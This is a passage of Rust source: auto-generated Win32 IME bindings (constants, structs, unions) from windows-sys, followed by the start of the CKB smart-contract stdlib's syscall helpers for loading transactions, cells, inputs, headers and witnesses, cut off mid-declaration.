IMN_CLOSESTATUSWINDOW: u32 = 1u32; pub const IMN_GUIDELINE: u32 = 13u32; pub const IMN_OPENCANDIDATE: u32 = 5u32; pub const IMN_OPENSTATUSWINDOW: u32 = 2u32; pub const IMN_PRIVATE: u32 = 14u32; pub const IMN_SETCANDIDATEPOS: u32 = 9u32; pub const IMN_SETCOMPOSITIONFONT: u32 = 10u32; pub const IMN_SETCOMPOSITIONWINDOW: u32 = 11u32; pub const IMN_SETCONVERSIONMODE: u32 = 6u32; pub const IMN_SETOPENSTATUS: u32 = 8u32; pub const IMN_SETSENTENCEMODE: u32 = 7u32; pub const IMN_SETSTATUSWINDOWPOS: u32 = 12u32; pub const IMN_SOFTKBDDESTROYED: u32 = 17u32; pub const IMR_CANDIDATEWINDOW: u32 = 2u32; pub const IMR_COMPOSITIONFONT: u32 = 3u32; pub const IMR_COMPOSITIONWINDOW: u32 = 1u32; pub const IMR_CONFIRMRECONVERTSTRING: u32 = 5u32; pub const IMR_DOCUMENTFEED: u32 = 7u32; pub const IMR_QUERYCHARPOSITION: u32 = 6u32; pub const IMR_RECONVERTSTRING: u32 = 4u32; pub const INFOMASK_APPLY_CAND: u32 = 2u32; pub const INFOMASK_APPLY_CAND_EX: u32 = 4u32; pub const INFOMASK_BLOCK_CAND: u32 = 262144u32; pub const INFOMASK_HIDE_CAND: u32 = 131072u32; pub const INFOMASK_NONE: u32 = 0u32; pub const INFOMASK_QUERY_CAND: u32 = 1u32; pub const INFOMASK_STRING_FIX: u32 = 65536u32; pub const INIT_COMPFORM: u32 = 16u32; pub const INIT_CONVERSION: u32 = 2u32; pub const INIT_LOGFONT: u32 = 8u32; pub const INIT_SENTENCE: u32 = 4u32; pub const INIT_SOFTKBDPOS: u32 = 32u32; pub const INIT_STATUSWNDPOS: u32 = 1u32; #[repr(C)] #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub struct INPUTCONTEXT { pub hWnd: super::super::super::Foundation::HWND, pub fOpen: super::super::super::Foundation::BOOL, pub ptStatusWndPos: super::super::super::Foundation::POINT, pub ptSoftKbdPos: super::super::super::Foundation::POINT, pub fdwConversion: u32, pub fdwSentence: u32, pub lfFont: INPUTCONTEXT_0, pub cfCompForm: COMPOSITIONFORM, pub cfCandForm: [CANDIDATEFORM; 4], pub hCompStr: super::super::super::Globalization::HIMCC, pub hCandInfo: super::super::super::Globalization::HIMCC, pub hGuideLine: super::super::super::Globalization::HIMCC, pub hPrivate: super::super::super::Globalization::HIMCC, pub dwNumMsgBuf: u32, pub hMsgBuf: super::super::super::Globalization::HIMCC, pub fdwInit: u32, pub dwReserve: [u32; 3], } #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] impl ::core::marker::Copy for INPUTCONTEXT {} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] impl ::core::clone::Clone for INPUTCONTEXT { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] pub union INPUTCONTEXT_0 { pub A: super::super::super::Graphics::Gdi::LOGFONTA, pub W: super::super::super::Graphics::Gdi::LOGFONTW, } #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] impl ::core::marker::Copy for INPUTCONTEXT_0 {} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization", feature = "Win32_Graphics_Gdi"))] impl ::core::clone::Clone for INPUTCONTEXT_0 { fn clone(&self) -> Self { *self } } pub const IPACFG_CATEGORY: i32 = 262144i32; pub const IPACFG_HELP: i32 = 2i32; pub const IPACFG_LANG: i32 = 16i32; pub const IPACFG_NONE: i32 = 0i32; pub const IPACFG_PROPERTY: i32 = 1i32; pub const IPACFG_TITLE: i32 = 65536i32; pub const IPACFG_TITLEFONTFACE: i32 = 131072i32; pub const IPACID_CHARLIST: u32 = 9u32; pub const IPACID_EPWING: u32 = 7u32; pub const IPACID_HANDWRITING: u32 = 2u32; pub const IPACID_NONE: u32 = 0u32; pub const IPACID_OCR: u32 = 8u32; pub const IPACID_RADICALSEARCH: u32 = 4u32; pub const IPACID_SOFTKEY: u32 = 1u32; pub const IPACID_STROKESEARCH: u32 = 3u32; pub const IPACID_SYMBOLSEARCH: u32 = 5u32; pub const IPACID_USER: u32 = 256u32; pub const IPACID_VOICE: u32 = 6u32; pub const IPAWS_ENABLED: i32 = 1i32; pub const IPAWS_HORIZONTALFIXED: i32 = 512i32; pub const IPAWS_MAXHEIGHTFIXED: i32 = 8192i32; pub const IPAWS_MAXSIZEFIXED: i32 = 12288i32; pub const IPAWS_MAXWIDTHFIXED: i32 = 4096i32; pub const IPAWS_MINHEIGHTFIXED: i32 = 131072i32; pub const IPAWS_MINSIZEFIXED: i32 = 196608i32; pub const IPAWS_MINWIDTHFIXED: i32 = 65536i32; pub const IPAWS_SIZEFIXED: i32 = 768i32; pub const IPAWS_SIZINGNOTIFY: i32 = 4i32; pub const IPAWS_VERTICALFIXED: i32 = 256i32; pub const ISC_SHOWUIALL: u32 = 3221225487u32; pub const ISC_SHOWUIALLCANDIDATEWINDOW: u32 = 15u32; pub const ISC_SHOWUICANDIDATEWINDOW: u32 = 1u32; pub const ISC_SHOWUICOMPOSITIONWINDOW: u32 = 2147483648u32; pub const ISC_SHOWUIGUIDELINE: u32 = 1073741824u32; pub const JPOS_1DAN: u32 = 213u32; pub const JPOS_4DAN_HA: u32 = 212u32; pub const JPOS_5DAN_AWA: u32 = 200u32; pub const JPOS_5DAN_AWAUON: u32 = 209u32; pub const JPOS_5DAN_BA: u32 = 206u32; pub const JPOS_5DAN_GA: u32 = 202u32; pub const JPOS_5DAN_KA: u32 = 201u32; pub const JPOS_5DAN_KASOKUON: u32 = 210u32; pub const JPOS_5DAN_MA: u32 = 207u32; pub const JPOS_5DAN_NA: u32 = 205u32; pub const JPOS_5DAN_RA: u32 = 208u32; pub const JPOS_5DAN_RAHEN: u32 = 211u32; pub const JPOS_5DAN_SA: u32 = 203u32; pub const JPOS_5DAN_TA: u32 = 204u32; pub const JPOS_BUPPIN: u32 = 122u32; pub const JPOS_CHIMEI: u32 = 109u32; pub const JPOS_CHIMEI_EKI: u32 = 117u32; pub const JPOS_CHIMEI_GUN: u32 = 112u32; pub const JPOS_CHIMEI_KEN: u32 = 111u32; pub const JPOS_CHIMEI_KU: u32 = 113u32; pub const JPOS_CHIMEI_KUNI: u32 = 110u32; pub const JPOS_CHIMEI_MACHI: u32 = 115u32; pub const JPOS_CHIMEI_MURA: u32 = 116u32; pub const JPOS_CHIMEI_SHI: u32 = 114u32; pub const JPOS_CLOSEBRACE: u32 = 911u32; pub const JPOS_DAIMEISHI: u32 = 123u32; pub const JPOS_DAIMEISHI_NINSHOU: u32 = 124u32; pub const JPOS_DAIMEISHI_SHIJI: u32 = 125u32; pub const JPOS_DOKURITSUGO: u32 = 903u32; pub const JPOS_EIJI: u32 = 906u32; pub const JPOS_FUKUSHI: u32 = 500u32; pub const JPOS_FUKUSHI_DA: u32 = 504u32; pub const JPOS_FUKUSHI_NANO: u32 = 503u32; pub const JPOS_FUKUSHI_NI: u32 = 502u32; pub const JPOS_FUKUSHI_SAHEN: u32 = 501u32; pub const JPOS_FUKUSHI_TO: u32 = 505u32; pub const JPOS_FUKUSHI_TOSURU: u32 = 506u32; pub const JPOS_FUTEIGO: u32 = 904u32; pub const JPOS_HUKUSIMEISHI: u32 = 104u32; pub const JPOS_JINMEI: u32 = 106u32; pub const JPOS_JINMEI_MEI: u32 = 108u32; pub const JPOS_JINMEI_SEI: u32 = 107u32; pub const JPOS_KANDOUSHI: u32 = 670u32; pub const JPOS_KANJI: u32 = 909u32; pub const JPOS_KANYOUKU: u32 = 902u32; pub const JPOS_KAZU: u32 = 126u32; pub const JPOS_KAZU_SURYOU: u32 = 127u32; pub const JPOS_KAZU_SUSHI: u32 = 128u32; pub const JPOS_KEIDOU: u32 = 400u32; pub const JPOS_KEIDOU_GARU: u32 = 403u32; pub const JPOS_KEIDOU_NO: u32 = 401u32; pub const JPOS_KEIDOU_TARU: u32 = 402u32; pub const JPOS_KEIYOU: u32 = 300u32; pub const JPOS_KEIYOU_GARU: u32 = 301u32; pub const JPOS_KEIYOU_GE: u32 = 302u32; pub const JPOS_KEIYOU_ME: u32 = 303u32; pub const JPOS_KEIYOU_U: u32 = 305u32; pub const JPOS_KEIYOU_YUU: u32 = 304u32; pub const JPOS_KENCHIKU: u32 = 121u32; pub const JPOS_KIGOU: u32 = 905u32; pub const JPOS_KURU_KI: u32 = 219u32; pub const JPOS_KURU_KITA: u32 = 220u32; pub const JPOS_KURU_KITARA: u32 = 221u32; pub const JPOS_KURU_KITARI: u32 = 222u32; pub const JPOS_KURU_KITAROU: u32 = 223u32; pub const JPOS_KURU_KITE: u32 = 224u32; pub const JPOS_KURU_KO: u32 = 226u32; pub const JPOS_KURU_KOI: u32 = 227u32; pub const JPOS_KURU_KOYOU: u32 = 228u32; pub const JPOS_KURU_KUREBA: u32 = 225u32; pub const JPOS_KUTEN: u32 = 907u32; pub const JPOS_MEISA_KEIDOU: u32 = 105u32; pub const JPOS_MEISHI_FUTSU: u32 = 100u32; pub const JPOS_MEISHI_KEIYOUDOUSHI: u32 = 103u32; pub const JPOS_MEISHI_SAHEN: u32 = 101u32; pub const JPOS_MEISHI_ZAHEN: u32 = 102u32; pub const JPOS_OPENBRACE: u32 = 910u32; pub const JPOS_RENTAISHI: u32 = 600u32; pub const JPOS_RENTAISHI_SHIJI: u32 = 601u32; pub const JPOS_RENYOU_SETSUBI: u32 = 826u32; pub const JPOS_SETSUBI: u32 = 800u32; pub const JPOS_SETSUBI_CHIMEI: u32 = 811u32; pub const JPOS_SETSUBI_CHOU: u32 = 818u32; pub const JPOS_SETSUBI_CHU: u32 = 804u32; pub const JPOS_SETSUBI_DONO: u32 = 835u32; pub const JPOS_SETSUBI_EKI: u32 = 821u32; pub const JPOS_SETSUBI_FU: u32 = 805u32; pub const JPOS_SETSUBI_FUKUSU: u32 = 836u32; pub const JPOS_SETSUBI_GUN: u32 = 814u32; pub const JPOS_SETSUBI_JIKAN: u32 = 829u32; pub const JPOS_SETSUBI_JIKANPLUS: u32 = 830u32; pub const JPOS_SETSUBI_JINMEI: u32 = 810u32; pub const JPOS_SETSUBI_JOSUSHI: u32 = 827u32; pub const JPOS_SETSUBI_JOSUSHIPLUS: u32 = 828u32; pub const JPOS_SETSUBI_KA: u32 = 803u32; pub const JPOS_SETSUBI_KATA: u32 = 808u32; pub const JPOS_SETSUBI_KEN: u32 = 813u32; pub const JPOS_SETSUBI_KENCHIKU: u32 = 825u32; pub const JPOS_SETSUBI_KU: u32 = 815u32; pub const JPOS_SETSUBI_KUN: u32 = 833u32; pub const JPOS_SETSUBI_KUNI: u32 = 812u32; pub const JPOS_SETSUBI_MACHI: u32 = 817u32; pub const JPOS_SETSUBI_MEISHIRENDAKU: u32 = 809u32; pub const JPOS_SETSUBI_MURA: u32 = 819u32; pub const JPOS_SETSUBI_RA: u32 = 838u32; pub const JPOS_SETSUBI_RYU: u32 = 806u32; pub const JPOS_SETSUBI_SAMA: u32 = 834u32; pub const JPOS_SETSUBI_SAN: u32 = 832u32; pub const JPOS_SETSUBI_SEI: u32 = 802u32; pub const JPOS_SETSUBI_SHAMEI: u32 = 823u32; pub const JPOS_SETSUBI_SHI: u32 = 816u32; pub const JPOS_SETSUBI_SON: u32 = 820u32; pub const JPOS_SETSUBI_SONOTA: u32 = 822u32; pub const JPOS_SETSUBI_SOSHIKI: u32 = 824u32; pub const JPOS_SETSUBI_TACHI: u32 = 837u32; pub const JPOS_SETSUBI_TEINEI: u32 = 831u32; pub const JPOS_SETSUBI_TEKI: u32 = 801u32; pub const JPOS_SETSUBI_YOU: u32 = 807u32; pub const JPOS_SETSUZOKUSHI: u32 = 650u32; pub const JPOS_SETTOU: u32 = 700u32; pub const JPOS_SETTOU_CHIMEI: u32 = 710u32; pub const JPOS_SETTOU_CHOUTAN: u32 = 707u32; pub const JPOS_SETTOU_DAISHOU: u32 = 705u32; pub const JPOS_SETTOU_FUKU: u32 = 703u32; pub const JPOS_SETTOU_JINMEI: u32 = 709u32; pub const JPOS_SETTOU_JOSUSHI: u32 = 712u32; pub const JPOS_SETTOU_KAKU: u32 = 701u32; pub const JPOS_SETTOU_KOUTEI: u32 = 706u32; pub const JPOS_SETTOU_MI: u32 = 704u32; pub const JPOS_SETTOU_SAI: u32 = 702u32; pub const JPOS_SETTOU_SHINKYU: u32 = 708u32; pub const JPOS_SETTOU_SONOTA: u32 = 711u32; pub const JPOS_SETTOU_TEINEI_GO: u32 = 714u32; pub const JPOS_SETTOU_TEINEI_O: u32 = 713u32; pub const JPOS_SETTOU_TEINEI_ON: u32 = 715u32; pub const JPOS_SHAMEI: u32 = 119u32; pub const JPOS_SONOTA: u32 = 118u32; pub const JPOS_SOSHIKI: u32 = 120u32; pub const JPOS_SURU_SA: u32 = 229u32; pub const JPOS_SURU_SE: u32 = 238u32; pub const JPOS_SURU_SEYO: u32 = 239u32; pub const JPOS_SURU_SI: u32 = 230u32; pub const JPOS_SURU_SIATRI: u32 = 233u32; pub const JPOS_SURU_SITA: u32 = 231u32; pub const JPOS_SURU_SITARA: u32 = 232u32; pub const JPOS_SURU_SITAROU: u32 = 234u32; pub const JPOS_SURU_SITE: u32 = 235u32; pub const JPOS_SURU_SIYOU: u32 = 236u32; pub const JPOS_SURU_SUREBA: u32 = 237u32; pub const JPOS_TANKANJI: u32 = 900u32; pub const JPOS_TANKANJI_KAO: u32 = 901u32; pub const JPOS_TANSHUKU: u32 = 913u32; pub const JPOS_TOKUSHU_KAHEN: u32 = 214u32; pub const JPOS_TOKUSHU_NAHEN: u32 = 218u32; pub const JPOS_TOKUSHU_SAHEN: u32 = 216u32; pub const JPOS_TOKUSHU_SAHENSURU: u32 = 215u32; pub const JPOS_TOKUSHU_ZAHEN: u32 = 217u32; pub const JPOS_TOUTEN: u32 = 908u32; pub const JPOS_UNDEFINED: u32 = 0u32; pub const JPOS_YOKUSEI: u32 = 912u32; pub const MAX_APPLETTITLE: u32 = 64u32; pub const MAX_FONTFACE: u32 = 32u32; pub const MODEBIASMODE_DEFAULT: u32 = 0u32; pub const MODEBIASMODE_DIGIT: u32 = 4u32; pub const MODEBIASMODE_FILENAME: u32 = 1u32; pub const MODEBIASMODE_READING: u32 = 2u32; pub const MODEBIAS_GETVALUE: u32 = 2u32; pub const MODEBIAS_GETVERSION: u32 = 0u32; pub const MODEBIAS_SETVALUE: u32 = 1u32; pub const MOD_IGNORE_ALL_MODIFIER: u32 = 1024u32; pub const MOD_LEFT: u32 = 32768u32; pub const MOD_ON_KEYUP: u32 = 2048u32; pub const MOD_RIGHT: u32 = 16384u32; #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct MORRSLT { pub dwSize: u32, pub pwchOutput: super::super::super::Foundation::PWSTR, pub cchOutput: u16, pub Anonymous1: MORRSLT_0, pub Anonymous2: MORRSLT_1, pub pchInputPos: *mut u16, pub pchOutputIdxWDD: *mut u16, pub Anonymous3: MORRSLT_2, pub paMonoRubyPos: *mut u16, pub pWDD: *mut WDD, pub cWDD: i32, pub pPrivate: *mut ::core::ffi::c_void, pub BLKBuff: [u16; 1], } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for MORRSLT {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for MORRSLT { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub union MORRSLT_0 { pub pwchRead: super::super::super::Foundation::PWSTR, pub pwchComp: super::super::super::Foundation::PWSTR, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for MORRSLT_0 {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for MORRSLT_0 { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub union MORRSLT_1 { pub cchRead: u16, pub cchComp: u16, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for MORRSLT_1 {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for MORRSLT_1 { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub union MORRSLT_2 { pub pchReadIdxWDD: *mut u16, pub pchCompIdxWDD: *mut u16, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for MORRSLT_2 {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for MORRSLT_2 { fn clone(&self) -> Self { *self } } pub const NI_CONTEXTUPDATED: u32 = 3u32; pub const NI_FINALIZECONVERSIONRESULT: u32 = 20u32; pub type NOTIFY_IME_ACTION = u32; pub const NI_CHANGECANDIDATELIST: NOTIFY_IME_ACTION = 19u32; pub const NI_CLOSECANDIDATE: NOTIFY_IME_ACTION = 17u32; pub const NI_COMPOSITIONSTR: NOTIFY_IME_ACTION = 21u32; pub const NI_IMEMENUSELECTED: NOTIFY_IME_ACTION = 24u32; pub const NI_OPENCANDIDATE: NOTIFY_IME_ACTION = 16u32; pub const NI_SELECTCANDIDATESTR: NOTIFY_IME_ACTION = 18u32; pub const NI_SETCANDIDATE_PAGESIZE: NOTIFY_IME_ACTION = 23u32; pub const NI_SETCANDIDATE_PAGESTART: NOTIFY_IME_ACTION = 22u32; pub type NOTIFY_IME_INDEX = u32; pub const CPS_CANCEL: NOTIFY_IME_INDEX = 4u32; pub const CPS_COMPLETE: NOTIFY_IME_INDEX = 1u32; pub const CPS_CONVERT: NOTIFY_IME_INDEX = 2u32; pub const CPS_REVERT: NOTIFY_IME_INDEX = 3u32; #[cfg(feature = "Win32_Foundation")] pub type PFNLOG = ::core::option::Option<unsafe extern "system" fn(param0: *mut IMEDP, param1: ::windows_sys::core::HRESULT) -> super::super::super::Foundation::BOOL>; #[repr(C, packed(1))] pub struct POSTBL { pub nPos: u16, pub szName: *mut u8, } impl ::core::marker::Copy for POSTBL {} impl ::core::clone::Clone for POSTBL { fn clone(&self) -> Self { *self } } pub const POS_UNDEFINED: u32 = 0u32; #[repr(C)] pub struct RECONVERTSTRING { pub dwSize: u32, pub dwVersion: u32, pub dwStrLen: u32, pub dwStrOffset: u32, pub dwCompStrLen: u32, pub dwCompStrOffset: u32, pub dwTargetStrLen: u32, pub dwTargetStrOffset: u32, } impl ::core::marker::Copy for RECONVERTSTRING {} impl ::core::clone::Clone for RECONVERTSTRING { fn clone(&self) -> Self { *self } } pub const RECONVOPT_NONE: u32 = 0u32; pub const RECONVOPT_USECANCELNOTIFY: u32 = 1u32; #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct REGISTERWORDA { pub lpReading: super::super::super::Foundation::PSTR, pub lpWord: super::super::super::Foundation::PSTR, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for REGISTERWORDA {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for REGISTERWORDA { fn clone(&self) -> Self { *self } } #[cfg(feature = "Win32_Foundation")] pub type REGISTERWORDENUMPROCA = ::core::option::Option<unsafe extern "system" fn(lpszreading: super::super::super::Foundation::PSTR, param1: u32, lpszstring: super::super::super::Foundation::PSTR, param3: *mut ::core::ffi::c_void) -> i32>; #[cfg(feature = "Win32_Foundation")] pub type REGISTERWORDENUMPROCW = ::core::option::Option<unsafe extern "system" fn(lpszreading: super::super::super::Foundation::PWSTR, param1: u32, lpszstring: super::super::super::Foundation::PWSTR, param3: *mut ::core::ffi::c_void) -> i32>; #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct REGISTERWORDW { pub lpReading: super::super::super::Foundation::PWSTR, pub lpWord: super::super::super::Foundation::PWSTR, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for REGISTERWORDW {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for REGISTERWORDW { fn clone(&self) -> Self { *self } } pub const SCS_CAP_COMPSTR: u32 = 1u32; pub const SCS_CAP_MAKEREAD: u32 = 2u32; pub const SCS_CAP_SETRECONVERTSTRING: u32 = 4u32; pub const SELECT_CAP_CONVERSION: u32 = 1u32; pub const SELECT_CAP_SENTENCE: u32 = 2u32; pub type SET_COMPOSITION_STRING_TYPE = u32; pub const SCS_SETSTR: SET_COMPOSITION_STRING_TYPE = 9u32; pub const SCS_CHANGEATTR: SET_COMPOSITION_STRING_TYPE = 18u32; pub const SCS_CHANGECLAUSE: SET_COMPOSITION_STRING_TYPE = 36u32; pub const SCS_SETRECONVERTSTRING: SET_COMPOSITION_STRING_TYPE = 65536u32; pub const SCS_QUERYRECONVERTSTRING: SET_COMPOSITION_STRING_TYPE = 131072u32; pub const SHOWIMEPAD_CATEGORY: u32 = 1u32; pub const SHOWIMEPAD_DEFAULT: u32 = 0u32; pub const SHOWIMEPAD_GUID: u32 = 2u32; #[repr(C)] pub struct SOFTKBDDATA { pub uCount: u32, pub wCode: [u16; 256], } impl ::core::marker::Copy for SOFTKBDDATA {} impl ::core::clone::Clone for SOFTKBDDATA { fn clone(&self) -> Self { *self } } pub const SOFTKEYBOARD_TYPE_C1: u32 = 2u32; pub const SOFTKEYBOARD_TYPE_T1: u32 = 1u32; #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct STYLEBUFA { pub dwStyle: u32, pub szDescription: [super::super::super::Foundation::CHAR; 32], } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for STYLEBUFA {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for STYLEBUFA { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct STYLEBUFW { pub dwStyle: u32, pub szDescription: [u16; 32], } impl ::core::marker::Copy for STYLEBUFW {} impl ::core::clone::Clone for STYLEBUFW { fn clone(&self) -> Self { *self } } pub const STYLE_DESCRIPTION_SIZE: u32 = 32u32; #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct TRANSMSG { pub message: u32, pub wParam: super::super::super::Foundation::WPARAM, pub lParam: super::super::super::Foundation::LPARAM, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for TRANSMSG {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for TRANSMSG { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct TRANSMSGLIST { pub uMsgCount: u32, pub TransMsg: [TRANSMSG; 1], } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for TRANSMSGLIST {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for TRANSMSGLIST { fn clone(&self) -> Self { *self } } pub const UI_CAP_2700: u32 = 1u32; pub const UI_CAP_ROT90: u32 = 2u32; pub const UI_CAP_ROTANY: u32 = 4u32; pub const UI_CAP_SOFTKBD: u32 = 65536u32; pub const VERSION_DOCUMENTFEED: u32 = 1u32; pub const VERSION_ID_CHINESE_SIMPLIFIED: u32 = 134217728u32; pub const VERSION_ID_CHINESE_TRADITIONAL: u32 = 67108864u32; pub const VERSION_ID_JAPANESE: u32 = 16777216u32; pub const VERSION_ID_KOREAN: u32 = 33554432u32; pub const VERSION_MODEBIAS: u32 = 1u32; pub const VERSION_MOUSE_OPERATION: u32 = 1u32; pub const VERSION_QUERYPOSITION: u32 = 1u32; pub const VERSION_RECONVERSION: u32 = 1u32; #[repr(C, packed(1))] pub struct WDD { pub wDispPos: u16, pub Anonymous1: WDD_0, pub cchDisp: u16, pub Anonymous2: WDD_1, pub WDD_nReserve1: u32, pub nPos: u16, pub _bitfield: u16, pub pReserved: *mut ::core::ffi::c_void, } impl ::core::marker::Copy for WDD {} impl ::core::clone::Clone for WDD { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] pub union WDD_0 { pub wReadPos: u16, pub wCompPos: u16, } impl ::core::marker::Copy for WDD_0 {} impl ::core::clone::Clone for WDD_0 { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] pub union WDD_1 { pub cchRead: u16, pub cchComp: u16, } impl ::core::marker::Copy for WDD_1 {} impl ::core::clone::Clone for WDD_1 { fn clone(&self) -> Self { *self } } pub type fpCreateIFECommonInstanceType = ::core::option::Option<unsafe extern "system" fn(ppvobj: *mut *mut ::core::ffi::c_void) -> ::windows_sys::core::HRESULT>; pub type fpCreateIFEDictionaryInstanceType = ::core::option::Option<unsafe extern "system" fn(ppvobj: *mut *mut ::core::ffi::c_void) -> ::windows_sys::core::HRESULT>; pub type fpCreateIFELanguageInstanceType = ::core::option::Option<unsafe extern "system" fn(clsid: *const ::windows_sys::core::GUID, ppvobj: *mut *mut ::core::ffi::c_void) -> ::windows_sys::core::HRESULT>; #[repr(C)] pub struct tabIMEFAREASTINFO { pub dwSize: u32, pub dwType: u32, pub dwData: [u32; 1], } impl ::core::marker::Copy for tabIMEFAREASTINFO {} impl ::core::clone::Clone for tabIMEFAREASTINFO { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct tabIMESTRINGINFO { pub dwFarEastId: u32, pub lpwstr: super::super::super::Foundation::PWSTR, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for tabIMESTRINGINFO {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for tabIMESTRINGINFO { fn clone(&self) -> Self { *self } }
use crate::ckb_constants::*; use crate::debug; use crate::error::SysError; use crate::syscalls; use alloc::vec::Vec; use ckb_types::{packed::*, prelude::*}; /// Default buffer size pub const BUF_SIZE: usize = 1024; /// Load tx hash /// /// Return the tx hash or a syscall error /// /// # Example /// /// ``` /// let tx_hash = load_tx_hash().unwrap(); /// ``` pub fn load_tx_hash() -> Result<[u8; 32], SysError> { let mut hash = [0u8; 32]; let len = syscalls::load_tx_hash(&mut hash, 0)?; debug_assert_eq!(hash.len(), len); Ok(hash) } /// Load script hash /// /// Return the script hash or a syscall error /// /// # Example /// /// ``` /// let script_hash = load_script_hash().unwrap(); /// ``` pub fn load_script_hash() -> Result<[u8; 32], SysError> { let mut hash = [0u8; 32]; let len = syscalls::load_script_hash(&mut hash, 0)?; debug_assert_eq!(hash.len(), len); Ok(hash) } /// Common method to fully load data from syscall fn load_data<F: Fn(&mut [u8], usize) -> Result<usize, SysError>>( syscall: F, ) -> Result<Vec<u8>, SysError> { let mut buf = [0u8; BUF_SIZE]; match syscall(&mut buf, 0) { Ok(len) => Ok(buf[..len].to_vec()), Err(SysError::LengthNotEnough(actual_size)) => { let mut data = Vec::with_capacity(actual_size); data.resize(actual_size, 0); let loaded_len = buf.len(); data[..loaded_len].copy_from_slice(&buf); let len = syscall(&mut data[loaded_len..], loaded_len)?; debug_assert_eq!(len + loaded_len, actual_size); Ok(data) } Err(err) => Err(err), } } /// Load cell /// /// Return the cell or a syscall error /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let cell_output = load_cell(0, Source::Input).unwrap(); /// ``` pub fn load_cell(index: usize, source: Source) -> Result<CellOutput, SysError> { let data = load_data(|buf, offset| syscalls::load_cell(buf, offset, index, source))?; match CellOutputReader::verify(&data, false) { Ok(()) => Ok(CellOutput::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// Load input /// /// Return the input or a syscall error /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let input = load_input(0, Source::Input).unwrap(); /// ``` pub fn load_input(index: usize, source: Source) -> Result<CellInput, SysError> { let data = load_data(|buf, offset| syscalls::load_input(buf, offset, index, source))?; match CellInputReader::verify(&data, false) { Ok(()) => Ok(CellInput::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// Load header /// /// Return the header or a syscall error /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let header = load_header(0, Source::HeaderDep).unwrap(); /// ``` pub fn load_header(index: usize, source: Source) -> Result<Header, SysError> { let data = load_data(|buf, offset| syscalls::load_header(buf, offset, index, source))?; match HeaderReader::verify(&data, false) { Ok(()) => Ok(Header::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// Load witness args /// /// Return the witness args or a syscall error /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let witness_args = load_witness_args(0, Source::Input).unwrap(); /// ``` pub fn load_witness_args(index: usize, source: Source) -> Result<WitnessArgs, SysError> { let data = load_data(|buf, offset| syscalls::load_witness(buf, offset, index, source))?; match WitnessArgsReader::verify(&data, false) { Ok(()) => Ok(WitnessArgs::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// Load transaction /// /// Return the transaction or a syscall error /// /// # Example /// /// ``` /// let tx = load_transaction().unwrap(); /// ``` pub fn load_transaction() -> Result<Transaction, SysError> { let data = load_data(|buf, offset| syscalls::load_transaction(buf, offset))?; match TransactionReader::verify(&data, false) { Ok(()) => Ok(Transaction::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// Load cell capacity /// /// Return the loaded data length or a syscall error /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let capacity = syscalls::load_cell_capacity(index, source).unwrap(); /// ``` pub fn load_cell_capacity(index: usize, source: Source) -> Result<u64, SysError> { let mut buf = [0u8; 8]; let len = syscalls::load_cell_by_field(&mut buf, 0, index, source, CellField::Capacity)?; debug_assert_eq!(len, buf.len()); Ok(u64::from_le_bytes(buf)) } /// Load cell occupied capacity /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let occupied_capacity = load_cell_occupied_capacity(index, source).unwrap(); /// ``` pub fn 